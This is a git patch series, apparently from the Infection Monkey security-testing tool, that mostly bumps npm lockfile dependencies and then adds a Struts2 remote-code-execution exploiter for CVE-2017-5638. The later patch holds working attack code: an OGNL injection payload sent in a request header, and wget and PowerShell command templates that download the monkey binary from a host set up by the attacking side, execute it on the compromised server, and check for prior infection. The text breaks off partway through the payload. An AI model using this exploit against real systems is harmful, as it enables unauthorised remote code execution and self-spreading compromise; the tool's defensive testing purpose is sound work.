a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -152,7 +152,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", + "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", "dev": true }, "array-find-index": { @@ -1564,9 +1564,9 @@ } }, "browser-stdout": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.0.tgz", - "integrity": "sha1-81HTKWnTL6XXpVZxVCY9korjvR8=", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", + "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", "dev": true }, "browserify-aes": { @@ -1906,13 +1906,10 @@ } }, "commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", - "dev": true, - "requires": { - "graceful-readlink": "1.0.1" - } + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", + "dev": true }, "commondir": { "version": "1.0.1", @@ -1996,7 +1993,7 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", "dev": true, "requires": { "core-util-is": "1.0.2", @@ -2011,7 +2008,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -2085,7 +2082,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", + "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", "requires": { "toggle-selection": "1.0.6" } @@ -2408,9 +2405,9 @@ "dev": true }, "diff": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-3.2.0.tgz", - "integrity": "sha1-yc45Okt8vQsFinJck98pkCeGj/k=", + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", "dev": true }, "doctrine": { @@ -3845,7 +3842,8 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true + "dev": true, + "optional": true }, "json-schema": { "version": "0.2.3", @@ -4346,7 +4344,7 @@ "glob": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=", "dev": true, "requires": { "fs.realpath": "1.0.0", @@ -4397,7 +4395,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", + "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", "dev": true }, "globby": { @@ -4420,16 +4418,10 @@ "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", "dev": true }, - "graceful-readlink": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz", - "integrity": "sha1-TK+tdrxi8C+gObL5Tpo906ORpyU=", - "dev": true - }, "growl": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/growl/-/growl-1.9.2.tgz", - "integrity": "sha1-Dqd0NxXbjY3ixe3hd14bRayFwC8=", + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", "dev": true }, "hammerjs": { @@ -4560,7 +4552,7 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", + "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -4593,7 +4585,7 @@ "hosted-git-info": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.5.0.tgz", - "integrity": "sha512-pNgbURSuab90KbTqvRPsseaTxOJCZBD0a7t+haSN33piP9cCM4l0CqdzAif2hUqm716UovKB2ROmiabGAKVXyg==", + "integrity": "sha1-bWDjSzq7yDEwYsO3mO+NkBoHrzw=", "dev": true }, "html-comment-regex": { @@ -4678,7 +4670,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" + "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" }, "icss-replace-symbols": { "version": "1.1.0", @@ -5553,28 +5545,6 @@ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.4.tgz", "integrity": "sha1-3MHXVS4VCgZABzupyzHXDwMpUOc=" }, - "lodash._baseassign": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/lodash._baseassign/-/lodash._baseassign-3.2.0.tgz", - "integrity": "sha1-jDigmVAPIVrQnlnxci/QxSv+Ck4=", - "dev": true, - "requires": { - "lodash._basecopy": "3.0.1", - "lodash.keys": "3.1.2" - } - }, - "lodash._basecopy": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._basecopy/-/lodash._basecopy-3.0.1.tgz", - "integrity": "sha1-jaDmqHbPNEwK2KVIghEd08XHyjY=", - "dev": true - }, - "lodash._basecreate": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-3.0.3.tgz", - "integrity": "sha1-G8ZhYU2qf8MRt9A78WgGoCE8+CE=", - "dev": true - }, "lodash._createcompounder": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash._createcompounder/-/lodash._createcompounder-3.0.0.tgz", @@ -5585,18 +5555,6 @@ "lodash.words": "3.2.0" } }, - "lodash._getnative": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz", - "integrity": "sha1-VwvH3t5G1hzc3mh9ZdPuy6o6r/U=", - "dev": true - }, - "lodash._isiterateecall": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/lodash._isiterateecall/-/lodash._isiterateecall-3.0.9.tgz", - "integrity": "sha1-UgOte6Ql+uhCRg5pbbnPPmqsBXw=", - "dev": true - }, "lodash._root": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", @@ -5618,17 +5576,6 @@ "lodash._createcompounder": "3.0.0" } }, - "lodash.create": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/lodash.create/-/lodash.create-3.1.1.tgz", - "integrity": "sha1-1/KEnw29p+BGgruM1yqwIkYd6+c=", - "dev": true, - "requires": { - "lodash._baseassign": "3.2.0", - "lodash._basecreate": "3.0.3", - "lodash._isiterateecall": "3.0.9" - } - }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", @@ -5648,29 +5595,6 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.isarguments": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", - "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=", - "dev": true - }, - "lodash.isarray": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-3.0.4.tgz", - "integrity": "sha1-eeTriMNqgSKvhvhEqpvNhRtfu1U=", - "dev": true - }, - "lodash.keys": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-3.1.2.tgz", - "integrity": "sha1-TbwEcrFWvlCgsoaFXRvQsMZWCYo=", - "dev": true, - "requires": { - "lodash._getnative": "3.9.1", - "lodash.isarguments": "3.1.0", - "lodash.isarray": "3.0.4" - } - }, "lodash.memoize": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", @@ -5853,7 +5777,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -5945,7 +5869,7 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", "dev": true, "requires": { "brace-expansion": "1.1.8" @@ -5975,46 +5899,46 @@ } }, "mocha": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.3.tgz", - "integrity": "sha512-/6na001MJWEtYxHOV1WLfsmR4YIynkUEhBwzsb+fk2qmQ3iqsi258l/Q2MWHJMImAcNpZ8DEdYAK72NHoIQ9Eg==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-5.2.0.tgz", + "integrity": "sha512-2IUgKDhc3J7Uug+FxMXuqIyYzH7gJjXECKe/w43IGgQHTSj3InJi+yAA7T24L9bQMRKiUEHxEX37G5JpVUGLcQ==", "dev": true, "requires": { - "browser-stdout": "1.3.0", - "commander": "2.9.0", - "debug": "2.6.8", - "diff": "3.2.0", + "browser-stdout": "1.3.1", + "commander": "2.15.1", + "debug": "3.1.0", + "diff": "3.5.0", "escape-string-regexp": "1.0.5", - "glob": "7.1.1", - "growl": "1.9.2", + "glob": "7.1.2", + "growl": "1.10.5", "he": "1.1.1", - "json3": "3.3.2", - "lodash.create": "3.1.1", + "minimatch": "3.0.4", "mkdirp": "0.5.1", - "supports-color": "3.1.2" + "supports-color": "5.4.0" }, "dependencies": { - "glob": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.1.tgz", - "integrity": "sha1-gFIR3wT6rxxjo2ADBs31reULLsg=", + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", "dev": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "ms": "2.0.0" } }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, "supports-color": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.1.2.tgz", - "integrity": "sha1-cqJiiU2dQIuVbKBf83su2KbiotU=", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "1.0.0" + "has-flag": "3.0.0" } } } @@ -6159,7 +6083,7 @@ "normalize-package-data": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", + "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", "dev": true, "requires": { "hosted-git-info": "2.5.0", @@ -11050,7 +10974,7 @@ "promise": { "version": "7.3.1", "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", - "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", "requires": { "asap": "2.0.6" } @@ -11100,7 +11024,7 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" + "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" }, "punycode": { "version": "1.4.1", @@ -11162,7 +11086,7 @@ "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", + "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", "dev": true, "requires": { "is-number": "3.0.0", @@ -11467,7 +11391,7 @@ "react-router": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz", - "integrity": "sha512-DY6pjwRhdARE4TDw7XjxjZsbx9lKmIcyZoZ+SDO7SBJ1KUeWNxT22Kara2AC7u6/c2SYEHlEDLnzBCcNhLE8Vg==", + "integrity": "sha1-Yfez43cNrrJAYtrj7t7xsFQVWYY=", "requires": { "history": "4.7.2", "hoist-non-react-statics": "2.3.1", @@ -11491,7 +11415,7 @@ "react-router-dom": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz", - "integrity": "sha512-cHMFC1ZoLDfEaMFoKTjN7fry/oczMgRt5BKfMAkTu5zEuJvUiPp1J8d0eXSVTnBh6pxlbdqDhozunOOLtmKfPA==", + "integrity": "sha1-yKgd863Fi7qKdngulGy9Tq5km40=", "requires": { "history": "4.7.2", "invariant": "2.2.2", @@ -11663,7 +11587,7 @@ "redux": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/redux/-/redux-3.7.2.tgz", - "integrity": "sha512-pNqnf9q1hI5HHZRBkj3bAngGZW/JMCmexDlOxw4XagXY2o1327nHH54LoTjiPJ0gizoqPDRqWyX/00g0hD6w+A==", + "integrity": "sha1-BrcxIyFZAdJdBlvjQusCa8HIU3s=", "requires": { "lodash": "4.17.4", "lodash-es": "4.17.4", @@ -11860,7 +11784,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" + "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" }, "restore-cursor": { "version": "1.0.1", @@ -11914,7 +11838,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", + "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", "dev": true }, "sax": { @@ -12249,7 +12173,7 @@ "source-map-support": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz", - "integrity": "sha512-30c1Ch8FSjV0FwC253iftbbj0dU/OXoSg1LAEGZJUlGgjTNj6cu+DVqJWWIZJY5RXLWV4eFtR+4ouo0VIOYOTg==", + "integrity": "sha1-byFQVT5jdTddDMsxgFAreMGLpDA=", "dev": true, "requires": { "source-map": "0.5.6" @@ -12609,7 +12533,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -12935,7 +12859,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" + "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" }, "vary": { "version": "1.1.1", @@ -13215,7 +13139,7 @@ "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", + "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", "dev": true, "requires": { "isexe": "2.0.0" diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 8c2d5331f..38c8463fb 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -47,7 +47,7 @@ "karma-sourcemap-loader": "^0.3.5", "karma-webpack": "^1.7.0", "minimist": "^1.2.0", - "mocha": "^3.5.3", + "mocha": "^5.2.0", "null-loader": "^0.1.1", "open": "0.0.5", "phantomjs-prebuilt": "^2.1.16", diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 4a54aeb8c..b4780e6cf 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -45,7 +45,7 @@ class MapPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); From 9a8a6c6e28b95c2a6f3d9e0fab57321a169636ca Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 19 Jun 2018 18:05:09 +0300 Subject: [PATCH 050/137] Now exploiting both win and linux. Also, added check if monkey is not already present --- infection_monkey/exploit/struts2.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 infection_monkey/exploit/struts2.py diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..e69de29bb From 413bdd925447c5b919ce664f6d01d2801e014d6b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 19 Jun 2018 18:08:52 +0300 Subject: [PATCH 051/137] Not yet functioning and tested, but most functions are done --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/struts2.py | 204 +++++++++++++++++++++++++++ monkey_island/cc/services/config.py | 10 +- 5 files changed, 218 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..4e87243a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger __author__ = 'itamar' @@ -148,7 +148,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, # multi + ElasticGroovyExploiter, Struts2Exploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..a6961331f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "Struts2Exploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..f2d5d0c5b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from struts2 import Struts2Exploiter diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index e69de29bb..f3a819169 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -0,0 +1,204 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +from network.tools import check_tcp_ports +import logging +from exploit import HostExploiter +from exploit.tools import get_target_monkey, get_monkey_depth +from tools import build_monkey_commandline, HTTPTools + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +ID_STRING = "M0NK3YSTRUTS2" +MONKEY_ARG = "m0nk3y" +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) +# Command used to check whether host is vulnerable +CHECK_COMMAND = "echo %s" % ID_STRING +# Commands used to check for architecture +CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "%s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" + +WEB_PORTS = [80, 443, 8080] +# Timeouts if the payload is wrong +DOWNLOAD_TIMEOUT = 30 +# This is set so that we don't have to wait for monkeys' output (in seconds) +RESPONSE_TIMEOUT = 1 + + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + # TODO add skip if file exists + # Initializing vars for convenience + ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port == 443: + current_host = "https://%s:%d" % (self.host.ip_addr, port) + else: + # TODO remove struts from url + current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + # Get full URL + current_host = self.get_redirected(current_host) + # Get os architecture so that we don't have to update monkey + + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + host_arch = Struts2Exploiter.try_exploit_linux(current_host) + else: + host_arch = Struts2Exploiter.try_exploit_windows(current_host) + + if host_arch: + self.host.os['machine'] = host_arch + + if current_host and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + # Form command according to os + if 'linux' in self.host.os['type']: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): + return True + command = WGET_HTTP % {'monkey_path': dropper_path_linux, + 'http_path': http_path, 'parameters': cmdline} + else: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) + or self.check_remote_file(current_host, dropper_path_win_64)): + return True + command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(current_host, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + @staticmethod + def try_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def try_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + if "x86_64" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + return False + + @staticmethod + def exploit(url, cmd, timeout=None): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :param timeout: How long to wait for response in seconds(if monkey is executed + it's better not to wait it's whole output + :return: response + """ + page = "" + + payload = "%{(#_='multipart/form-data')." + payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + payload += "(#_memberAccess?" + payload += "(#_memberAccess=#dm):" + payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + payload += "(#ognlUtil.getExcludedPackageNames().clear())." + payload += "(#ognlUtil.getExcludedClasses().clear())." + payload += "(#context.setMemberAccess(#dm))))." + payload += "(#cmd='%s')." % cmd + payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + payload += "(#p=new java.lang.ProcessBuilder(#cmds))." + payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." + payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + payload += 